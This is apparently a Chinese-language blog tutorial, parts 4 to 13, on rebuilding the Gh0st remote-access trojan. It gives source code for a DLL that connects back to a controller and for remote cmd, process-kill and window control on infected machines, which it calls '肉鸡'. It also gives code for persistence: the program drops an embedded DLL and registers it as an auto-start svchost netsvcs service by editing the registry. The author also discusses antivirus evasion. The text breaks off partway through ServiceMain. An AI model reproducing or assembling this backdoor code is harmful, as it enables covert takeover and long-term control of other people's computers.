对话框的实现,添加一个对话框资源,然后添加上两个Edit控件,让我们可以输入port和max。然后给确定按钮添加一个Onclick事件处理函数,修改ini文件。

1
2
3
4
5
6
7
8
9
10
11


void CSettingDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE);
((CMyRemoteApp*)AfxGetApp())->m_IniFile.SetInt("Settings", "ListenPort", m_nListernProt); //向ini文件中写入值
((CMyRemoteApp*)AfxGetApp())->m_IniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect);
MessageBox("设置成功,重启本程序后生效!");
CDialogEx::OnOK();
}

part4-socket客户端的数据传输过程

套用Gh0st源码编译dll文件

过程较多,慢慢调试。

同样理解Gh0st的socket内核

我们加载了很多Gh0st的类,用于通信实际上就是ClienSocket类,其他部分类都是一个类对应一个功能,并且设置了相应的接收消息函数。

通过后面的功能来学习数据传输。

添加一个导出函数作为Client的连接函数

添加一个TestRun的导出函数

1
2
3
4
5
6
7
8
9
10

extern "C" __declspec(dllexport) void TestRun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}

本质是调用dllmain中的main函数。

编写一个exe使用dll文件的导出函数

看看导出函数可不可用,并调试dll文件,在dll的属性中设置目标exe的路径即可调试dll。

使用LoadLibrary,和GetProcAddress来得到导出函数地址,然后调用测试是否能够上线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#include<Windows.h>
#include<stdio.h>

int main()
{
char strHost[] = "127.0.0.1"; //声明上线地址
int nPort = 7000; //声明上线端口
//载入服务端dll
HMODULE hServerDll = LoadLibrary("..\\..\\bin\\server\\MainDll.dll");
//声明导出函数类型--查看上一节导出的TestRun函数
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);
//寻找dll中导出函数
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestRun");
//判断函数是否为空
if (pTestRunT != NULL)
{
pTestRunT(strHost, nPort); //调用这个函数
}
while (1)
{

}
}

服务端添加上线信息

之前都只是测试了下能不能向列添加信息,这次是真的添加上线机的相关信息。

传输过程

  • 客户端dll文件的main函数,定义了CClientSocket的一个变量后,调用connect函数。
  • 后面有一个sendLoginInfo()函数,这个函数定义了一个LOGININFO结构体变量,然后对其调用相关函数附值,然后send发送给控制服务端,其中包含了TOKEN_LOGIN这个消息。
  • 控制服务端的NotifyProc函数接收到消息后,case判断到TOKEN_LOGIN,判断上线机器个数未达到最大,然后向控制端的主对话框发送WM_ADDTOLIST消息,调用自定义的WM_ADDTOLIST处理函数OnOnlineAddToList。
  • OnOnlineAddToList()函数,会将传入控制服务端的消息,也就肉鸡的机器信息经过一些处理后,添加到上线列表控件中。

part5-终端管理

之前学习过如何实现远程cmd,https://the_itach1.gitee.io/2022/01/31/Windows-Hack-Programming/,但实际上很不健全。

客户端代码

即为ShellManager.cpp。

其内部实际上就是创建了管道和cmd.exe进程,来进行命令的执行和读取。当然包括了发送信息和接收信息的处理函数。

和之前学习的cmd有点不同,这个里面有两个管道,实际上也不难理解,之前我写的远程cmd的输入命令是设置好的,所以只需要输出管道就行,但是这个的输入命令是由控制客户端传入的,所以还需要一个输入管道。

控制服务端代码

即为CShellDlg.cpp。

其本质是个带有EDIT控件的对话框,EDIT控件就是用来展示终端的,这个类中也包含了读取消息和发送消息的两个函数。

传输过程

这里直接一步步更整个终端管理的传输过程吧。

  • 客户机上线,会向服务端发送上线机的信息,并创建ClientSocket变量和CKernelManager变量,并使用setManagerCallBack将创建的ClientSocket变量的m_pManager成员设置为CKernelManager,这就意味着后面调用OnReceive函数将是调用CKernelManager的OnReceive处理。
  • 控制服务端点击终端管理,触发菜单栏OnOnlineCmd处理函数,调用SendSelectCommand函数,向客户机发送了COMMAND_SHELL这个消息以及发送了存储着上线客户机的信息的结构体pContext。
  • 客户端在链接到控制服务端后会创建一个WorkThread的线程,然后进行接收服务端发过来的数据,调用Onread函数。
  • 然后Onread函数中,在解压数据等操作后,会调用Manager->OnReceive()函数,这个函数实际上是Manager里面的一个虚函数,只有在其子类中才有具体实现,也就是多态,根据第一步的操作,我们知道他将会调用CKernelManager的OnReceive函数处理。
  • 在CKernelManager的OnReceive函数中,我们实际上可以看到很多switch case,分别对应着控制服务端的各种功能,终端管理接收的消息就是COMMAND_SHELL,然后就会创建一个对应功能的线程,来处理。
  • 终端管理线程的函数是Loop_ShellManager,查看其内部,可以看到先是链接了控制服务端,然后创建了CShellManager这个类变量,创建时,会调用Manager的构造函数,m_pClient->setManagerCallBack(this);,所以这时候接收消息的函数就变成了CShellManager类中的OnReceive(),CShellManager这个类就是实现终端管理功能的具体实现。
  • CShellManager的构造函数,创建管道,创建cmd进程,然后向控制服务端发送TOKEN_SHELL_START消息,表示准备完毕,然后等待控制端的处理,控制端的终端管理对话框是否准备完毕。
  • 控制服务端的NotifyProc函数接收到消息后,调用ProcessReceiveComplete函数,先进行判断功能对应的对话框是否开启,然后进入下面的case判断,进入TOKEN_SHELL_START,会发送一个自定义的消息,触发相应的消息处理函数OnOpenShellDialog,创建了我们的CShellDlg类变量,并且对pContext的m_Dialog付了值,代表控制端的终端对话框已经准备就绪。
  • 我们进入CShellDlg的具体实现,看看其构造函数和初始化函数,构造函数就是初始化pIOCPServer和pContext,初始化函数中会向客户端发送一个COMMAND_NEXT消息。
  • CShellManager类中的OnReceive()会接收到这个消息(经过WorkThread中的处理不变),然后设置m_hEventDlgOpen事件,代表控制服务端的对话框准备就绪,WaitForDialogOpen()调用成功。
  • 然后创建两个线程,一个是读取管道数据,一个是等待管道关闭线程。
  • ReadPipeThread线程会判断当前管道是否有消息,有就会读取管道消息,然后发送给控制服务端。
  • 经过控制服务端的ProcessReceiveComplete后,因为终端管理对话框已经打开,所以pContext->m_Dialog[0]里面是有值的,case找到对应的功能对话框,然后调用起处理函数,这里是OnReceiveComplete。
  • OnReceiveComplete调用AddKeyBoardData,将传入的字符串进行处理显示在EDIT控件中。

上面的过程就是终端管理整个初始化的过程了,还是非常复杂,但是十分健全。

下面来讲解如何执行命令。

  • 因为发送终端命令都需要一个换行符,所以我们可以通过截取键盘消息的方式来实现,CDialog提供了一个虚函数PreTranslateMessage,可以来作为截取键盘,我们在CShellDlg中对这个虚函数进行重载。
  • 需要对特定消息进行截取,然后采取不同措施,例如如果是回车键,就发送命令,如果是回退键,判断当前编辑字符串长度超过了之前命令的长度,然后采取不同措施。
  • 发送命令后,客户端的OnReceive接收到命令字符串,写入管道,cmd.exe就会执行命令,产生的回显会输出到输出管道。
  • ReadPipeThread线程会判断当前管道是否有消息,有就会读取管道消息,然后发送给控制服务端。

当然实际上还有很多细节的地方,比如说对传输数据的处理,就不过多阐述。

精彩代码

我们控制端的编辑窗口和cmd控制台一模一样,得益于其代码的完整,对接收到数据的处理,以及对我们的输入,都有严格的处理。

part6-进程管理

教程里面是将进程管理和窗口管理的客户端类和控制服务端的对话框类写在了两个cpp中,但是个人感觉分开写两个功能会更好,于是将其分开了。

进程监控原理

就是通过https://the_itach1.gitee.io/2022/01/31/Windows-Hack-Programming/中的进程遍历,当然gh0st中的代码更加完善,健全。

客户端CProcessManager.cpp

这个类就是用来监视进程的,其中.h文件如下,具体实现就是自己分析代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

// CProcessManager.h: interface for the CProcessManager class.
//
//////////////////////////////////////////////////////////////////////

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#include "Manager.h"
class CProcessManager : public CManager
{
public:
CProcessManager(CClientSocket* pClient, BYTE bHow);//bHow是传进来功能的标志
virtual ~CProcessManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

//提权
static bool DebugPrivilege(const char* PName, BOOL bEnable);
private:
BYTE m_caseSystemIs;//构造函数会初始化这个变量,用于区分进程或者窗口的变量

//获取进程的完整路径
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);

//遍历进程,获取进程的数据写入申请的内存空间
LPBYTE getProcessList();
//发送获取的进程数据到控制服务端
void SendProcessList();;
void SendDialupassList();

//根据pid来杀死进程
void KillProcess(LPBYTE lpBuffer, UINT nSize);


};


控制服务端CProcessDlg.cpp

一个处理进程信息的对话框,包含了一个list控件和菜单。

.h文件如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

#pragma once
#include "afxcmn.h"
#include "include/IOCPServer.h"
// CProcessDlg 对话框

class CProcessDlg : public CDialog
{
DECLARE_DYNAMIC(CProcessDlg)

public:
CProcessDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext* pContext = NULL); // 标准构造函数
virtual ~CProcessDlg();

// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_PROCESS };
#endif

protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持

DECLARE_MESSAGE_MAP()

public:
CListCtrl m_list_process;
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
BOOL m_bHow; //用来区分窗口管理和进程管理
public:
afx_msg void OnClose(); //关闭对话框后的处理函数
afx_msg void OnSize(UINT nType, int cx, int cy); //让list控件的大小随对话框的变动而变动
virtual BOOL OnInitDialog(); //初始化对话框
void ShowProcessList(void); //将接收到的数据显现在list中
void AdjustList(); //调整list控件位置
void OnReceiveComplete(void); //接收消息的函数
private:
void GetProcessList(void); //想客户端发送获取进程数据的命令
public:
afx_msg void OnNMRClickListProcess(NMHDR* pNMHDR, LRESULT* pResult); //弹出菜单
afx_msg void OnProcessKill(); //杀死某一进程
afx_msg void OnProcessRefresh(); //刷新
};

数据传输过程

还是来理一遍数据的传输过程,之前在shell管理已经讲过部分传输过程,所以下面某些过程会略讲。

  • 肉鸡上线后,我们点击进程管理,进入OnOnlineProcess(),然后,调用SendSelectCommand(),发送COMMAND_PROCESS到客户端。
  • 客户端OnReceive接收到消息,创建Loop_ProcessManager线程,创建一个CClientSocket,连接控制服务端,然后创建一个CProcessManager类。
  • 进入CProcessManager类的构造函数,判断接收的命令是COMMAND_PROCESS,调用SendProcessList()函数。
  • SendProcessList()中,调用getProcessList()获取了数据,其过程中会写上数据头TOKEN_PSLIST,然后发送给控制服务端。
  • 控制服务端ProcessReceiveComplete()接收到消息,先判断Process管理的对话框是否打开,现在肯定没有打开,就会触发下面的case TOKEN_PSLIST,从而触发自定义消息函数OnOpenProcessDialog,打开进程管理的对话框。
  • 进入对话框的初始化过程,大概就是初始化一些变量,设置标题,图标,然后初始化list控件,然后调用ShowProcessList()在list控件中展示进程数据。

上面的过程就是进程管理的初始化过程,下面来讲解控制服务端发送刷新命令的数据传输过程。

  • 控制服务端调用OnProcessRefresh()消息函数,其先判断lsit控件是否存在,然后调用GetProcessList()函数。
  • GetProcessList()函数向客户端发送COMMAND_PSLIST命令。
  • 客户端的OnReceive()函数接收到COMMAND_PSLIST,调用SendProcessList()函数
  • SendProcessList()中,调用getProcessList()获取了数据,其过程中会写上数据头TOKEN_PSLIST,然后发送给控制服务端。
  • 控制服务端ProcessReceiveComplete()接收到消息,这时进程对话框已经打开,所以会调用CProcessDlg的OnReceiveComplete函数,然后case TOKEN_PSLIST,调用ShowProcessList()展示数据。

杀死进程的过程

  • 调用OnProcessKill(),根据选中的行号得到选中一个或多个进程的pid信息,写上COMMAND_KILLPROCESS,发送给客户端。
  • 客户端的OnReceive()函数接收到COMMAND_KILLPROCESS,进行提权,然后根据pid杀死进程,然后调用SendProcessList()函数。
  • 调用SendProcessList()函数就会刷新控制服务端的对话框的list控件了。

part7-窗口管理

其功能由CWindowsManager.cpp和CWindowsDlg.cpp两个文件实现。实际上其数据传输过程,包括对话框的设计和菜单的实现都和进程管理差不多,但是在获取窗口数据和一些菜单功能的实现代码还是和进程管理有很大的差别。

窗口管理原理

其获取窗口的数据主要是靠EnumWindows,一直枚举顶层窗口,我们需要设置一个回调函数EnumWindowsProc来获取枚举的窗口的一些信息,主要是窗口标题和PID和其显示状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

//窗口回调遍历所有窗口
bool CALLBACK CWindowsManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE*)lParam;

char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
//获取传进来的窗口句柄的标题
if (IsWindowVisible(hwnd))
return true;
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
//判断窗口是否可见,标题是否为空
if (lstrlen(strTitle) == 0)
{
OutputDebugString("lstrlen");
return true;
}

//如果指针为空的话申请一个堆
//(该函数时循环的所以第二次进来就不是空的,用动态的LocalReAlloc改变堆大小实现数据都在一个堆上)
if (lpBuffer == NULL)
//第一次申请大小为1是因为第一字节为通知控制端标识
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);

dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);

//计算缓冲区大小
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);

//获取窗口的创建者 + 两个memcpy数据结构为 创建者PID + hwnd + 窗口标题 + 0
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);

*(LPBYTE*)lParam = lpBuffer;

return true;
}

然后在来看看其如何实现的关闭,显示,最大化,最小化窗口。

关闭,先提权,然后

PostMessage((HWND__*)hwnd, WM_CLOSE, 0, 0);

显示,最大化,最小化

主要是看控制服务端传过来的第二个参数是什么
ShowWindow((HWND__*)hwnd, dHow);

控制服务端CWindowsDlg.cpp

其.h文件如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

#pragma once
#include "afxcmn.h"
#include "include/IOCPServer.h"
// CWindowsDlg 对话框

class CWindowsDlg : public CDialog
{
DECLARE_DYNAMIC(CWindowsDlg)

public:
CWindowsDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext* pContext = NULL); // 标准构造函数
virtual ~CWindowsDlg();

// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_WINDOWS };
#endif

protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持

DECLARE_MESSAGE_MAP()
public:
CListCtrl m_list_windows;
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
BOOL m_bHow; //用来区分窗口管理和进程管理
public:
afx_msg void OnClose(); //关闭对话框消息处理函数
afx_msg void OnSize(UINT nType, int cx, int cy); //对话框大小变换
void AdjustList(void); //调整list控件大小
virtual BOOL OnInitDialog(); //对话框初始化函数
void OnReceiveComplete(void); //数据接收函数
void ShowWindowsList(void); //将接收到的窗口数据展示在list中。
afx_msg void OnNMRClickListWindows(NMHDR* pNMHDR, LRESULT* pResult); //右键弹出菜单
afx_msg void OnWindowsClose(); //窗口关闭处理函数
afx_msg void OnWindowsHide(); //隐藏窗口
afx_msg void OnWindowsMax(); //最大化窗口
afx_msg void OnWindowsMin(); //最小化窗口
afx_msg void OnWindowsReturn(); //还原显示窗口
afx_msg void OnWindowsReflush(); //刷新整个列表
void GetWindowsList(void);
};

客户端CWindowsManager.cpp

其.h文件入下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

// CProcessManager.h: interface for the CProcessManager class.
//
//////////////////////////////////////////////////////////////////////

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CWindowsManager : public CManager
{
public:
CWindowsManager(CClientSocket* pClient, BYTE bHow);//bHow是传进来功能的标志
virtual ~CWindowsManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

static bool DebugPrivilege(const char* PName, BOOL bEnable); //提权
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam); //迭代窗口的回调消息处理函数
static void ShutdownWindows(DWORD dwReason); //强制关闭窗口
private:
BYTE m_caseSystemIs;//构造函数会初始化这个变量,用于区分进程或者窗口的变量

LPBYTE getWindowsList(); //获取窗口信息数据
void SendWindowsList(); //发送窗口信息数据
void SendDialupassList();
void ShowTheWindow(LPBYTE buf); //以某种方式展示窗口
void CloseTheWindow(LPBYTE buf); //关闭窗口
};


数据传输

和进程管理都差不多,只是数据头发生了变换,就不在详细论述了。

part8-文件管理

part9-音频管理

part10-摄像头视频管理

part11-服务管理

前提需要管理员权限

part12-注册表管理

前提需要管理员权限

part13-客户端的启动管理

资源加载

之前也弄过读取资源的代码,但是一直没成功,现在发现是没有将资源添加进项目的原因。

导入资源,添加资源到项目,然后调用加载资源的那几个函数就ok了。

几个函数

  • FindResource,寻找资源
  • SizeofResource,获得资源的大小
  • LoadResource,加载资源数据
  • LockResource,复制资源到申请的空间。

例子,将我们的dll创建到d盘下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include<Windows.h>
#include "resource.h"

bool CreateMyFile(char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;

HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
//要释放的路径 资源ID 资源名
bool CreateEXE(char* strFilePath, int nResourceID, char* strResourceName)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPBYTE p;
// 查找所需的资源
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
if (hResInfo == NULL)
{
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
{
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);

bool bRet = CreateMyFile(strFilePath, p, dwSize);
if (!bRet)
{
GlobalFree((HGLOBAL)p);
return false;
}

GlobalFree((HGLOBAL)p);

return true;
}

int main()
{

CreateEXE((char *)"D:\\123.dll", IDR_DLL, (char*)"DLL");
return 0;
}

添加服务

无论是《逆向工程核心原理》还是《黑客编程》里面都有如何添加服务的例子,需要用到的函数。

SC_HANDLE WINAPI OpenSCManager(         //建立一个连接到服务控制管理器,并打开指定的数据库。
__in          LPCTSTR lpMachineName,         //指向零终止字符串,命名为目标计算机。
__in          LPCTSTR lpDatabaseName,       //指向零终止字符串,名称的服务控制管理数据库,以开放。
__in          DWORD dwDesiredAccess        //指定服务的访问控制管理。
);

SC_HANDLE WINAPI CreateService(         //创建一个服务对象并且把它加入到服务管理数据库中
         SC_HANDLE hSCManager, //服务控制管理程序维护的登记数据库的句柄,由系统函数OpenSCManager 返回   **
         LPCTSTR lpServiceName, //以NULL 结尾的服务名,用于创建登记数据库中的关键字                     **
         LPCTSTR lpDisplayName, //以NULL 结尾的服务名,用于用户界面标识服务                             **
         DWORD dwDesiredAccess, //指定服务返回类型   
         DWORD dwServiceType, //指定服务类型   
         DWORD dwStartType, //指定何时启动服务   
         DWORD dwErrorControl, //指定服务启动失败的严重程度   
         LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径                                       **
         LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名   
         LPDWORD lpdwTagId, //忽略,NULL   
         LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组   
         LPCTSTR lpServiceStartName, //以NULL 结尾的字符串,指定服务帐号。如是NULL,则表示使用LocalSystem 帐号   
         LPCTSTR lpPassword //以NULL 结尾的字符串,指定对应的口令。为NULL表示无口令。但使用LocalSystem时填NULL 
);

BOOL WINAPI CloseServiceHandle(             //关闭服务器管理器
  __in          SC_HANDLE hSCObject          服务器句柄
);

这就是创建一个服务的基本过程。

接下来就是如何利用SVCHOST.exe启动服务,来达到一个长期驻留的过程,其方法就是修改注册表。

找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,打开子健项netsvcs,遍历数据,返回一个未有的服务名称,并添加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

char* AddsvchostService()
{
char* lpServiceName = NULL;
int rc = 0;
HKEY hkRoot;
char buff[2048];
//打开装所有svchost服务名的注册表键
//query svchost setting
char* ptr;
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if (ERROR_SUCCESS != rc)
return NULL;

DWORD type, size = sizeof buff;
//枚举他所有的服务名
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
SetLastError(rc);
if (ERROR_SUCCESS != rc)
RegCloseKey(hkRoot);

int i = 0;
bool bExist = false;
char servicename[50];
do
{
//这里获得类似这样的服务名netsvcs_0,netsvcs_1
wsprintf(servicename, "netsvcs_0x%d", i);
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
{
//然后比对一下服务名中是否有这个名字了
if (lstrcmpi(ptr, servicename) == 0)
{
bExist = true;
break; //如果没有就跳出
}
}
if (bExist == false)
break;
bExist = false;
i++;
} while (1);

servicename[lstrlen(servicename) + 1] = '\0';
//然后将这个服务名写到所有服务名的后面,
//不要妄想,直接用api在一个注册表的键值后面添加一些信息
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);

RegCloseKey(hkRoot);

SetLastError(rc);

if (bExist == false)
{
lpServiceName = new char[lstrlen(servicename) + 1];
lstrcpy(lpServiceName, servicename);
}
//回到 InstallService
return lpServiceName;
}

上面的代码会出错,就是我们读取不到netsvcs子健项的值,原因是因为我们的操作系统是windows64位的,发生了注册表重定位,所以需要加上KEY_WOW64_64KEY。

rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS| KEY_WOW64_64KEY, &hkRoot);

然后就是向子健HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,添加一个我们的服务的子健了,包含了服务的基本信息,服务名,服务描述,程序路径。然后继续在下面添加子健Parameters,新建子健项ServiceDll,写入dll的全路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85


int ServerSetup()
{

char lpServiceDescription[] = "The_Itach1服务";
char strModulePath[MAX_PATH];
char strSysDir[MAX_PATH];
char strSubKey[1024];
DWORD dwStartType = 0;
char strRegKey[1024];
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;

//打开服务
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
char* lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
char lpServiceDisplayName[128] = { 0 };
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
//这里返回新的服务名后就构造服务dll的名字
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", "D:\\", lpServiceName);

//然后构造服务中的描述信息的位置
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);

schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;

if (schService == NULL)
{
throw "CreateService(Parameters)";
printf("schServicenull");
}


CloseServiceHandle(schService);
CloseServiceHandle(hscm);

hkRoot = HKEY_LOCAL_MACHINE;
//这里构造服务的描述键
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;

//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char*)&dwServiceType, sizeof(DWORD), 0);
}
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char*)lpServiceDescription, lstrlen(lpServiceDescription), 0);

lstrcat(strSubKey, "\\Parameters");
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char*)strModulePath, lstrlen(strModulePath), 0);

if (schService != NULL)
{
CreateEXE(strModulePath, IDR_DLL, (char *)"DLL");
StartService(lpServiceName);
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
system("pause");
return 0;

}

然后就完成了,但是很遗憾,免杀肯定是过不了的,首先,修改HKEY_LOCAL_MACHINE的注册表,需要管理员权限,其次,修改注册表的过程肯定会被各种杀毒软件检测,包括代码中有将dll保存在c盘下的操作,现在肯定是不行了,管理员权限都不能随便修改c盘下的文件,其次文件一旦保存到磁盘中,肯定是会被杀毒软件检测出来。

修改DLL,测试上线

一般服务进程和我们普通exe不一样,需要有一个特殊的main函数入口,实际上就是一套代码,网上也有很多。

记得删除原本的dllmain函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

int TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
srvStatus.dwCurrentState = g_dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 1000;
return SetServiceStatus(hServiceStatus, &srvStatus);
}

void __stdcall ServiceHandler(DWORD dwControl)
{
// not really necessary because the service stops quickly
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
TellSCM(SERVICE_STOP_PENDING, 0, 1);
Sleep(10);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
case SERVICE_CONTROL_PAUSE:
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
case SERVICE_CONTROL_INTERROGATE:
TellSCM(g_dwCurrState, 0, 0);
break;
}
}


extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
{
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
